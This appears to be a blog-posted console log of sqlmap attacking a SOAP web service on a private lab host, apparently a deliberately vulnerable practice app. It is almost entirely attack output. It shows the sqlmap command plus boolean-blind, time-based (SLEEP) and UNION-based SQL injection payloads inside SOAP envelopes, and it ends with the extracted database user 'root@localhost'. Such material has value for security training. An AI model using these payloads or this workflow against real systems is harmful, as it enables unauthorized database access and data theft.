C:\Users\hi080\Desktop\Hacking\01. Web Hacking\sqlmap>C:\Python27\python.exe sqlmap.py -r .\wsdl.txt -p title --current-user
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.7.15#dev}
|-| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting at 10:12:01
 
[10:12:01] [INFO] parsing HTTP request from '.\wsdl.txt'
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] Y
[10:12:11] [INFO] resuming back-end DBMS 'mysql'
[10:12:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SOAP title ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' OR NOT 9942=9942#</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' OR SLEEP(5)-- kNcZ</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' UNION ALL SELECT CONCAT(0x71716a7171,0x416a656274514e70574f64474355795a624c66794b545270624550615443624f6577447558534f52,0x71787a6b71)#</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
---
[10:12:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[10:12:11] [INFO] fetching current user
current user:    'root@localhost'
[10:12:11] [INFO] fetched data logged to text files under 'C:\Users\hi080\.sqlmap\output\192.168.157.132'
[*] shutting down at 10:12:11











+ Recent posts